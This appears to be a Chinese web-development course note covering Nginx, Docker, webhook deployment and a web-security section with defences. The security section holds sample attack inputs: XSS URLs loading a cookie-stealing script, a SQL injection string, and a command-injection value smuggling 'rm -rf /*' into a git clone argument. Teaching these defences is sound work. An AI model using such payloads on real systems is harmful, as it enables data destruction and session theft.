8
9
# 验证Nginx配置

nginx -t

# 重新启动Nginx

service nginx restart

nginx -s reload
1
2
3
4
5
6
7
8
9
# /etc/nginx/sites-enable
# taro
server {
    listen 80;
    server_name taro.josephxia.com;
    location / {
        root /root/source/taro-node/dist;
        index index.html index.htm;
    }
    location ~ \.(gif|jpg|png)$ {
        root /root/source/taro-node/server/static;
    }
    location /api {
        proxy_pass  http://127.0.0.1:3000;
        proxy_redirect     off;
        proxy_set_header   Host             $host;
        proxy_set_header   X-Real-IP        $remote_addr;
        proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
    }
}
# X-Real-IP 用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 查看配置文件位置

nginx -t

# nginx: the configuration file /etc/nginx/nginx.conf syntax is ok

# nginx: configuration file /etc/nginx/nginx.conf test is successful

#重启
service nginx restart

nginx -s reload
1
2
3
4
5
6
7
8
9
10
11
12

# Docker 概念

  • 操作系统层面的虚拟化技术
  • 隔离的进程独立于宿主和其它的隔离的进程 - 容器
  • GO 语言开发

# 特点

  • 高效的利用系统资源
  • 快速的启动时间
  • 一致的运行环境
  • 持续交付和部署
  • 更轻松的迁移

# 对比传统虚拟机总结

特性 容器 虚拟机
启动 秒级 分钟级
硬盘使用 一般为 MB 一般为 GB
性能 接近原生 弱于
系统支持量 单机支持上千个容器 一般几十个

# 三个核心概念

  • 镜像
  • 容器
  • 仓库

# Docker 基本使用

构建一个 Nginx 服务器

  1. 拉取官方镜像
# 拉取官方镜像
docker pull nginx
# 查看
docker images nginx
# 启动镜像
mkdir www
echo 'hello docker!!' >> www/index.html
# 启动
# www目录里面放一个index.html
docker   run  -p  80:80  -v  $PWD/www:/usr/share/nginx/html         -d  nginx(Linux)
docker run -p 80:80 -v "%cd%"/www:/usr/share/nginx/html -d nginx(Windows)
# 查看进程
docker ps
docker ps -a // 查看全部
# 伪终端 ff6容器的uuid
# -t 选项让Docker分配一个伪终端(pseudo-tty)并绑定到容器的标准输入上,
# -i 则让容器的标准输入保持打开
docker exec -it ff6 /bin/bash
# 停止
docker stop ff6
# 删除镜像
docker rm ff6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

# Dockerfile 定制镜像

#Dockerfile
FROM nginx:latest
RUN echo '<h1>Hello, pipipapa!</h1>' > /usr/share/nginx/html/index.html
1
2
3
# 定制镜像
docker build -t mynginx .
# 运行
# -d 守护态运行
docker run -p 80:80 -d  mynginx
1
2
3
4
5

定制一个程序 NodeJS 镜像

npm init -y
npm i koa -s
1
2
// package.json
{
  "name": "myappp",

  "version": "1.0.0",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "myappp",
  "dependencies": {
    "koa": "^2.7.0"
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// app.js
const Koa = require('koa')
const app = new Koa()
app.use((ctx) => {
  Math.random() > 0.8 ? abc() : ''
  ctx.body = 'Hello Docker'
})
app.listen(3000, () => {
  console.log('app started at http://localhost:3000/')
})
1
2
3
4
5
6
7
8
9
10
#Dockerfile
#制定node镜像的版本
FROM node:10-alpine
#移动当前目录下面的文件到app目录下
ADD . /app/
#进入到app目录下面,类似cd
WORKDIR /app
#安装依赖
RUN npm install
#对外暴露的端口
EXPOSE 3000
#程序启动脚本
CMD ["node", "app.js"]
1
2
3
4
5
6
7
8
9
10
11
12
13
# 定制镜像
docker build -t mynode .
# 运行
docker run -p 3000:3000  -d mynode
1
2
3
4

# Pm2 - 利用多核资源

# .dockerignore
node_modules
1
2
# process.yml
apps:
	- script : app.js
      instances: 2
      watch  : true
      env    :
      NODE_ENV: production
1
2
3
4
5
6
7
# Dockerfile

FROM keymetrics/pm2:latest-alpine
WORKDIR /usr/src/app
ADD . /usr/src/app
RUN npm config set registry https://registry.npm.taobao.org/ && \
npm i
EXPOSE 3000
#pm2在docker中使用命令为pm2-docker
CMD ["pm2-runtime", "start", "process.yml"]
1
2
3
4
5
6
7
8
9
10
# 定制镜像
docker build -t mypm2 .
# 运行
docker run -p 3000:3000  -d mypm2
1
2
3
4
Docker-Compose

#docker-compose.yml
app-pm2:
    container_name: app-pm2
    #构建容器
    build: .
    # volumes:
    #   - .:/usr/src/app
    ports:
    	- "3000:3000"
1
2
3
4
5
6
7
8
9
10
11
# 强制重新构建并启
# --force-recreate 强制重建容器
# --build 强制编译
docker-compose up -d --force-recreate --build
1
2
3
4
#docker-compose.yml
version: '3.1'
services:
    nginx:
        image: nginx:pipipapa
        ports:
    		- 80:80
1
2
3
4
5
6
7
# 运行
docker-compose up
# 后台运行
docker-compose up -d
1
2
3
4

# 部署 Mongo + MongoExpress

#docker-compose.yml
version: '3.1'
services:
  mongo:
    image: mongo
    restart: always
    ports:
      - 27017:27017
  mongo-express:
    image: mongo-express
    restart: always
    ports:
      - 8081:8081
1
2
3
4
5
6
7
8
9
10
11
12
13

代码中添加 Mongoose 调用

// mongoose.js
const mongoose = require('mongoose')
// 1.连接
mongoose.connect('mongodb://mongo:27017/test', { useNewUrlParser: true })
const conn = mongoose.connection
conn.on('error', () => console.error('连接数据库失败'))
1
2
3
4
5
6
// app.js

const mongoose = require('mongoose')
mongoose.connect('mongodb://mongo:27017/test', { useNewUrlParser: true })
const Cat = mongoose.model('Cat', { name: String })
Cat.deleteMany({})
const kitty = new Cat({ name: 'Zildjian' })
kitty.save().then(() => console.log('meow'))

app.use(async (ctx) => {
  ctx.body = await Cat.find()
})
1
2
3
4
5
6
7
8
9
10
11
12

# Github WebHook 实现 CI 持续集成

启动 NodeJS 监听

var http = require('http')
var createHandler = require('github-webhook-handler')
var handler = createHandler({ path: '/webhooks', secret: 'myHashSecret' })
// 上面的 secret 保持和 GitHub 后台设置的一致

function run_cmd(cmd, args, callback) {
    var spawn = require('child_process').spawn;
    var child = spawn(cmd, args);
    var resp = "";

    child.stdout.on('data', function (buffer) { resp += buffer.toString(); });
    child.stdout.on('end', function () { callback(resp) });
}

http.createServer(function (req, res) {
    handler(req, res, function (err) {
        res.statusCode = 404
        res.end('no such location')
    })
}).listen(3000)

handler.on('error', function (err) {
    console.error('Error:', err.message)
})


handler.on('*', function (event) {
    console.log('Received *', event.payload.action);
    //   run_cmd('sh', ['./deploy-dev.sh'], function(text){ console.log(text)
});
})

handler.on('push', function (event) {
    console.log('Received a push event for %s to %s',
                event.payload.repository.name,
                event.payload.ref);
    // 分支判断
    if(event.payload.ref === 'refs/heads/master'){
        console.log('deploy master..')
    }
    //   run_cmd('sh', ['./deploy-dev.sh'], function(text){ console.log(text)
});
})


handler.on('issues', function (event) {
    console.log('Received an issue event for % action=%s: #%d %s',
                event.payload.repository.name,
                event.payload.action,

                event.payload.issue.number,
                event.payload.issue.title)
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

# 负载均衡 SLB

负载均衡(Server Load Balancer)是将访问流量根据转发策略分发到后端多台服务器的流量分发控制服务。负载均衡扩展了应用的服务能力,增强了应用的可用性。

分类

  • 四层(传输层)负载均衡:对客户端 TCP/IP 协议的包转发
  • 七层(应用层)负载均衡:Http 的应用层负载均衡,Nginx 就是一个典型的 7 层负载均衡 SLB
  • 中小型的 Web 应用,比如日 PV 小于 1000 万,用 Nginx
  • DNS 轮询
  • 大型网站或重要的服务,且服务器比较多时,可以考虑用 LVS F5

Nginx 的负载均衡算法

  • 轮询 每个请求按时间顺序逐一分配到不同的后端服务器;
  • ip_hash 每个请求按访问 IP 的 hash 结果分配,同一个 IP 客户端固定访问一个后端服务器。可以保证来自同一 ip 的请求被打到固定的机器上,可以解决 session 问题。
  • url_hash 按访问 url 的 hash 结果来分配请求,使每个 url 定向到同一个后端服务器。后台服务器为缓存的时候效率。
  • fair 这是比上面两个更加智能的负载均衡算法。此种算法可以依据页面大小和加载时间长短智能地进行负载均衡,也就是根据后端服务器的响应时间来分配请求,响应时间短的优先分配。 Nginx 本身是不支持 fair 的,如果需要使用这种调度算法,必须下载 Nginx 的 upstream_fair 模块。

https://www.cnblogs.com/zhaoyanjun/p/9139390.html

# 常见 Web 攻击

# XSS

Cross Site Scripting

跨站脚本攻击

XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS 重叠,所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的非本站点 HTML 标签或 JavaScript 进行的一种攻击。

跨站脚本攻击有可能造成以下影响:

  • 利用虚假输入表单骗取用户个人信息。
  • 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
  • 显示伪造的文章或图片。

# XSS 攻击分类

  • 反射型 - url 参数直接注入
// 普通
http://localhost:3000/?from=china

// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>

// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>

// 短域名伪造 https://dwz.cn/


// 伪造cookie入侵 chrome
document.cookie="pipipapa:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  • 存储型 - 存储到 DB 后读取时注入
// 评论
<script>alert(1)</script>

// 跨站脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>
1
2
3
4
5

XSS 攻击的危害 - Scripting 能干啥就能干啥

  • 获取页面数据
  • 获取 Cookies
  • 劫持前端逻辑
  • 发送请求
  • 偷取网站的任意数据
  • 偷取用户的资料
  • 偷取用户的秘密和登录态
  • 欺骗用户

# 防范手段

  • ejs 转义小知识
<% code %>用于执行其中javascript代码;
<%= code %>会对code进行html转义;
<%- code %>将不会进行转义
1
2
3
  • HEAD
ctx.set('X-XSS-Protection', 0) // 禁止XSS过滤

// http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪装一下就不行了
1
2
3

0 禁止 XSS 过滤。

1 启用 XSS 过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。

1;mode=block 启用 XSS 过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。

1; report= (Chromium only)

启用 XSS 过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用 CSP report-uri (opens new window) 指令的功能发送违规报告。

  • CSP

内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。

CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。

// 只允许加载本站资源
Content-Security-Policy: default-src 'self'

// 只允许加载 HTTPS 协议图片
Content-Security-Policy: img-src https://*

// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'


ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试一下外部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
1
2
3
4
5
6
7
8
9
10
11
12
13
  • 转义字符

  • 黑名单

用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义

function escape(str) {
  str = str.replace(/&/g, '&amp;')
  str = str.replace(/</g, '&lt;')
  str = str.replace(/>/g, '&gt;')
  str = str.replace(/"/g, '&quto;')
  str = str.replace(/'/g, '&#39;')
  str = str.replace(/`/g, '&#96;')
  str = str.replace(/\//g, '&#x2F;')
  return str
}
1
2
3
4
5
6
7
8
9
10

富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。

  • 白名单
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html)
1
2
3
4
  • HttpOnly Cookie

这是预防 XSS 攻击窃取用户 cookie 最有效的防御手段。Web 应 用程序在设置 cookie 时,将其属性设为 HttpOnly,就可以避免该网页的 cookie 被客户端恶意 JavaScript 窃取,保护用户 cookie 信息。

response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')
1

# CSRF

CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的 Web 攻击,它利用用户已登录的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。

  • 用户已经登录了站点 A,并在本地记录了 cookie
  • 在用户没有登出站点 A 的情况下(也就是 cookie 生效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点 A)。
  • 站点 A 没有做任何 CSRF 防御
登录  http://localhost:4000/csrf.html
1

# CSRF 攻击危害

  • 利用用户登录态
  • 用户不知情
  • 完成业务请求
  • 盗取用户资金(转账,消费)
  • 冒充用户发帖背锅
  • 损害网站声誉

# 防御

  • 禁止第三方网站带 Cookie - 有兼容性问题

  • Referer Check - Https 不发送 referer

app.use(async (ctx, next) => {
  await next()
  const referer = ctx.request.header.referer
  console.log('Referer:', referer)
})
1
2
3
4
5
  • 验证码

# 点击劫持

clickjacking

点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击。

// 登录
http://localhost:4000/clickjacking.html
1
2

# 防御

  • X-FRAME-OPTIONS

X-FRAME-OPTIONS 是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头 就是为了防御用 iframe 嵌套的点击劫持攻击。

该响应头有三个值可选,分别是

  • DENY,表示页面不允许通过 iframe 的方式展示
  • SAMEORIGIN,表示页面可以在相同域名下通过 iframe 的方式展示
  • ALLOW-FROM,表示页面可以在指定来源的 iframe 中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')
1
  • JS 方式
<head>
  <style id="click-jack">
    html {
      display: none !important;
    }
  </style>
</head>

<body>
  <script>
    if (self == top) {
      var style = document.getElementById('click-jack')
      document.body.removeChild(style)
    } else {
      top.location = self.location
    }
  </script>
</body>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

以上代码的作用就是当通过 iframe 的方式加载页面时,攻击者的网页直接不显示所有内容了。

# SQL 注入

# 填入特殊密码
1'or'1'='1

# 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
1
2
3
4
5
6
7
8

# 防御

所有的查询语句建议使用数据库提供的参数化查询接口**,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数。

// 错误写法
const sql = `
SELECT *
FROM test.user
WHERE username = '${ctx.request.body.username}'

AND password = '${ctx.request.body.password}'
`
console.log('sql', sql)
res = await query(sql)

// 正确的写法
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?
`
console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  • 严格限制 Web 应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害
  • 后端代码检查输入的数据是否符合预期,严格限制变量的类型,例如使用正则表达式进行一些匹配处理。
  • 对进入数据库的特殊字符(',",\,<,>,&,*,; 等)进行转义处理,或编码转换。基本上所有的后端语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库。

# OS 命令注入

OS 命令注入和 SQL 注入差不多,只不过 SQL 注入是针对数据库的,而 OS 命令注入是针对操作系统的。OS 命令注入攻击指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。倘若调用 Shell 时存在疏漏,就可以执行插入的非法命令。

// 以 Node.js 为例,假如在接口中需要从 github 下载用户指定的 repo
const exec = require('mz/child_process').exec
let params = {
  /* 用户输入的参数 */
}
exec(`git clone ${params.repo} /some/path`)
1
2
3
4
5
6

如果传入的参数是会怎样

https://github.com/xx/xx.git && rm -rf /* &&
1

# 请求劫持

  • DNS 劫持

顾名思义,DNS 服务器(DNS 解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的 ip

  • HTTP 劫持 运营商劫持,此时大概只能升级 HTTPS 了

# DDOS

http://www.ruanyifeng.com/blog/2018/06/ddos.html 阮一峰

distributed denial of service

DDOS 不是一种攻击,而是一大类攻击的总称。它有几十种类型,新的攻击方法还在不断发明出来。网站运行的各个环节,都可以是攻击目标。只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的。

其中,比较常见的一种攻击是 cc 攻击。它就是简单粗暴地送来大量正常的请求,超出服务器的最大承受量,导致宕机。我遭遇的就是 cc 攻击,最多的时候全世界大概 20 多个 IP 地址轮流发出请求,每个地址的请求量在每秒 200 次~300 次。我看访问日志的时候,就觉得那些请求像洪水一样涌来,一眨眼就是一大堆,几分钟的时间,日志文件的体积就大了 100MB。说实话,这只能算小攻击,但是我的个人网站没有任何防护,服务器还是跟其他人共享的,这种流量一来立刻就下线了。

# 常见攻击方式

# SYN Flood

此攻击通过向目标发送具有欺骗性源 IP 地址的大量 TCP“初始连接请求”SYN 数据包来利用 TCP 握手。目标机器响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源。

# HTTP Flood

此攻击类似于同时在多个不同计算机上反复按 Web 浏览器中的刷新 - 大量 HTTP 请求泛滥服务器,导致拒绝服务。

# 防御手段

  • 备份网站备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求。最低限度应该可以显示公告,告诉用户,网站出了问题,正在全力抢修。
  • HTTP 请求的拦截 高防 IP -靠谱的运营商 多个 Docker 硬件 服务器 防火墙
  • 带宽扩容 + CDN 提高犯罪成本

# 防御手段

  • 密码强化

  • 人机识别 HTTPS

  • 浏览器安全控制

  • CSP(Content-Security-Policy)

  • 密码学

    • 摘要 - md5 sha1 sha256 -hash
    • 对称
    • 非对称

# 密码安全(30min)

  • 泄露渠道

    • 数据库被偷
    • 服务器被入侵
    • 通讯被窃听
    • 内部人员泄露
    • 其他网站(撞库)
  • 防御

    • 严禁明文存储
    • 单向变换
    • 变换复杂度要求
    • 密码复杂度要求
    • 加盐(防拆解)
  • 哈希算法

    • 明文 - 密文 - 一一对应
    • 雪崩效应 - 明文小幅变化 密文剧烈变化
    • 密文 -明文无法反推
    • 密文固定长度 md5 sha1 sha256
  • 密码传输安全

    • https 传输
    • 频次限制
    • 前端加密意义有限 - 传输层加密 不会泄露 但不代表不能登录
  • 摘要加密的复杂度

    • md5 反查

    • https://www.cmd5.com/

// /app/password.js
const crypto = require('crypto')
const hash = (type, str) =>
  crypto
    .createHash(type)
    .update(str)
    .digest('hex')
const md5 = (str) => hash('md5', str)
const sha1 = (str) => hash('sha1', str)
const encryptPassword = (salt, password) =>
  md5(salt + 'abced@#4@%#$7' + password)
const psw = '123432!@#!@#@!#'
console.log('md5', md5(psw))
console.log('sha1', sha1(psw))
module.exports = encryptPassword
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

两种强化方式

// index.js
const encryptPassword = require('./password')
if (res.length !== 0 && res[0].salt === null) {
  console.log('no salt ..')
  if (password === res[0].password) {
    sql = `
update test.user
set salt = ?,
password = ?
where username = ?
`
    const salt = Math.random() * 99999 + new Date().getTime()
    res = await query(sql, [salt, encryptPassword(salt, password), username])
    ctx.session.username = ctx.request.body.username
    ctx.redirect('/?from=china')
  }
} else {
  console.log('has salt')
  if (encryptPassword(res[0].salt, password) === res[0].password) {
    ctx.session.username = ctx.request.body.username
    ctx.redirect('/?from=china')
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

讨论下列情况

两次 MD5 是否可取 A OK B NO

  • 只加盐好不好 A 好 B 不好
  • 中间的字符串的作用
  • 盐泄露是否会泄露密码
  • 但密码很复杂还需要保证密码的复杂性吗 A 需要 B 不需要

# 人机验证 与 验证码

$('.verify-code font').text()
1

http://www.lisa33xiaoq.net/1232.html

image-20210923213525898

滑动验证码实现原理

1.服务端随机生成抠图和带有抠图阴影的背景图片,服务端保存随机抠图位置坐标;

2.前端实现滑动交互,将抠图拼在抠图阴影之上,获取到用户滑动距离值;

3.前端将用户滑动距离值传入服务端,服务端校验误差是否在容许范围内;

备注说明:单纯校验用户滑动距离是最基本的校验,处于更高安全考虑,可以考虑用户滑动整个轨迹、用户在当前页面上的行为等,可以将其细化复杂地步,可以根据实际情况设计。亦或借助用户行为数据分析模型,最终的目标都是增加非法的模拟和绕过的难度。

# HTTPS 配置(30min)

https 和密码学 https://www.cnblogs.com/hai-blog/p/8311671.html 浏览器如何验证 SSL 证书 http://wemedia.ifeng.com/70345206/wemedia.shtml

# HTTP 的弱点

#查看需要经过的节点
traceroute www.baidu.com
1
2

# 危害

  • 窃听
    • 密码 敏感信息
  • 篡改
    • 插入广告 重定向到其他网站(JS 和 Head 头)

# 时代趋势

  • 目前全球互联网正在从 HTTP 向 HTTPS 的大迁移
  • Chrome 和火狐浏览器将对不采用 HTTPS 加密的网站提示不安全
  • 苹果要求所有 APP 通信都必须采用 HTTPS 加密
  • 小程序强制要求服务器端使用 HTTPS 请求

# 特点

  • 保密性 (防泄密)

  • 完整性(防篡改)

  • 真实性(防假冒)

HTTP + SSL = HTTPS

# 什么是 SSL 证书

SSL 证书由浏览器中“受信任的根证书颁发机构”在验证服务器身份后颁发,具有网站身份验证和加密传输双重功能

# 密码学

# 对称加密

对称加密的一大缺点是密钥的管理与分配,换句话说,如何把密钥发送到需要解密你的消息的人的手里是一个问题。在发送密钥的过程中,密钥有很大的风险会被黑客们拦截。现实中通常的做法是将对称加密的密钥进行非对称加密,然后传送给需要它的人。

DES

# 不对称加密

  • 产生一对秘钥

  • 公钥负责加密

  • 私钥负责解密

  • 私钥无法解开说明公钥无效 - 抗抵赖

  • 计算复杂对性能有影响(极端情况下 1000 倍)

    常见算法 RSA(大质数)、Elgamal、背包算法、Rabin、D-H、ECC(椭圆曲线加密算法)。

RSA 原理

http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html

只能被 1 和本身整除的数叫质数,例如 13,质数是无穷多的.得到两个巨大质数的乘积是简单的事,但想从该乘积反推出这两个巨大质数却没有任何有效的办法,这种不可逆的单向数学关系,是国际数学界公认的质因数分解难题. R、S、A 三人巧妙利用这一假说,设计出 RSA 公匙加密算法的基本原理:

1、让计算机随机生成两个大质数 p 和 q,得出乘积 n;

2、利用 p 和 q 有条件的生成加密密钥 e;

3、通过一系列计算,得到与 n 互为质数的解密密钥 d,置于操作系统才知道的地方;

4、操作系统将 n 和 e 共同作为公匙对外发布,将私匙 d 秘密保存,把初始质数 p 和 q 秘密丢弃. 国际数学和密码学界已证明,企图利用公匙和密文推断出明文--或者企图利用公匙推断出私匙的难度等同于分解两个巨大质数的积.这就是 Eve 不可能对 Alice 的密文解密以及公匙可以在网上公布的原因. 至于"巨大质数"要多大才能保证安全的问题不用担心:利用当前可预测的计算能力,在十进制下,分解两个 250 位质数的积要用数十万年的时间;并且质数用尽或两台计算机偶然使用相同质数的概率小到可以被忽略.

# SSH 公钥登录原理

https://www.cnblogs.com/scofi/p/6617394.html 原理介绍

  • 密码口令登录

通过密码进行登录,主要流程为:

1、客户端连接上服务器之后,服务器把自己的公钥传给客户端

2、客户端输入服务器密码通过公钥加密之后传给服务器

3、服务器根据自己的私钥解密登录密码,如果正确那么就让客户端登录

  • 公钥登录

公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用 RSA 加密方案,主要流程包含:

1、客户端生成 RSA 公钥和私钥

2、客户端将自己的公钥存放到服务器

3、客户端请求连接服务器,服务器将一个用公钥加密随机字符串发送给客户端

4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器

5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。

image-20210923213919907

这样就不用使用密码了。

# 生成公钥

ssh-keygen -t rsa -P ''

xubin@xubindeMBP:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/xubin/.ssh/id_rsa):
/Users/xubin/.ssh/id_rsa already exists.
Overwrite (y/n)? yes
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /Users/xubin/.ssh/id_rsa.
Your public key has been saved in /Users/xubin/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:IeFPfrcQ3hhP64SRTAFzGIHl2ROcopl5HotRi2XNOGk xubin@xubindeMBP
The key's randomart image is:
+---[RSA 2048]----+
|      .o*@=o     |
|     ..oEB=o     |
|      o@=+O .    |
|      B=+o @ .   |
|       =So* *    |
|      . o. = .   |
|            o    |
|                 |
|                 |
+----[SHA256]-----+

# 查看公钥
cat .ssh/id_rsa.pub

# 将公钥拷贝到服务器
scp ~/.ssh/id_rsa.pub root@47.98.252.XXX:/root

# 将公钥加入信任列表
cat id_dsa.pub >> ~/.ssh/authorized_keys
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

网站如何通过加密和用户安全通讯

image-20210923214008187

https 的主要实现过程说明:

(1)在通信之前,服务器端通过加密算法生成一对密钥,并把其公钥发给 CA 申请数字证书,CA 审核后,结合服务端发来的相关信息生成数字证书,并把该数字证书发回给服务器端。

(2)客户端和服务器端经 tcp 三次握手,建立初步连接。

(3)客户端发送 http 报文请求并协商使用哪种加密算法。

(4)服务端响应报文并把自身的数字签名发给服务端。

(5)客服端下载 CA 的公钥,验证其数字证书的拥有者是否是服务器端(这个过程可以得到服务器端的公钥)(一般是客户端验证服务端的身份,服务端不用验证客户端的身份。)

(6)如果验证通过,客户端生成一个随机对称密钥,用该密钥加密要发送的 URL 链接申请,再用服务器端的公钥加密该密钥,把加密的密钥和加密的 URL 链接一起发送到服务器。

(7)服务器端使用自身的私钥解密,获得一个对称密钥,再用该对称密钥解密经加密的 URL 链接,获得 URL 链接申请。(8)服务器端根据获得的 URL 链接取得该链接的网页,并用客户端发来的对称密钥把该网页加密后发给客户端。

(9)客户端收到加密的网页,用自身的对称密钥解密,就能获得网页的内容了。

(10)TCP 四次挥手,通信结束。

# 根证书在哪里

windows

在 Windows 下按 Windows+ R, 输入 certmgr.msc,在“受信任的根证书颁发机构”-“证书中”找到“ROOTCA”,截止日期 2025/08/23,单击右键,属性,可以查看其属性“禁用此证书的所有目的”

Mac

钥匙串

http://www.techug.com/post/https-ssl-tls.html HTTPS 加密原理介绍

# 配置过程

  • 修改开发机的 host 前置
# 开发机的hosts文件 /etc/hosts
# 添加
127.0.0.1  www.josephxia.com
1
2
3
  • 阿里云取得的真实证书 (域名 www.josephxia.com)

证书的格式说明

PKCS 全称是 Public-Key Cryptography Standards ,是由 RSA 实验室与其它安全系统开发商为促进公钥密码的发展而制订的一系列标准,PKCS 目前共发布过 15 个标准。 常用的有: PKCS#7 Cryptographic Message Syntax Standard

PKCS#10 Certification Request Standard

PKCS#12 Personal Information Exchange Syntax Standard

X.509 是常见通用的证书格式。所有的证书都符合为 Public Key Infrastructure (PKI) 制定的 ITU-TX509 国际标准。

PKCS#7 常用的后缀是: .P7B .P7C .SPC

PKCS#12 常用的后缀有: .P12 .PFX

X.509 DER 编码(ASCII)的后缀是: .DER .CER .CRT

X.509 PAM 编码(Base64)的后缀是: .PEM .CER .CRT

.cer/.crt 是用于存放证书,它是 2 进制形式存放的,不含私钥。

.pem 跟 crt/cer 的区别是它以 Ascii 来表示。

pfx/p12 用于存放个人证书/私钥,他通常包含保护密码,2 进制方式

p10 是证书请求

p7r 是 CA 对证书请求的回复,只用于导入

参考项目目录 nginx/conf.d/cert

  • docker 模拟 nginx 环境
# 安全课程根目录
version: '3.1'
services:
nginx:
  restart: always
  image: nginx
  ports:
    - 80:80
    - 443:443
  volumes:
    - ./conf.d/:/etc/nginx/conf.d
    - ./html/:/var/www/html/
1
2
3
4
5
6
7
8
9
10
11
12
  • 原始的 80 端口服务
# conf.d/www.josephxia.com.conf
server {
    listen       80;
    server_name  www.josephxia.com;

    location / {
        root   /var/www/html;
        index  index.html index.htm;
    }

}

# 增加的部分
server {
    listen 443;
    server_name localhost;
    ssl on;
    root html;
    index index.html index.htm;

    # 公钥 + 证书
    ssl_certificate   conf.d/cert/www.josephxia.com.pem;

    # 私钥
    ssl_certificate_key  conf.d/cert/www.josephxia.com.key;
    ssl_session_timeout 5m;
    ssl_ciphers ECDHE-RSA-AES128-GCM-
        SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
    location / {
        root /var/www/html;
        index index.html index.htm;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  • 增加 http -> https 强制跳转
# conf.d/www.josephxia.com.conf

server {
    listen       80;
    server_name  www.josephxia.com;
    # location / {
    #     root   /var/www/html;
    #     index  index.html index.htm;
    # }

    location / {
        rewrite ^(.*) https://www.josephxia.com/$1 permanent;
    }
}
1
2
3
4
5
6
7
8
9
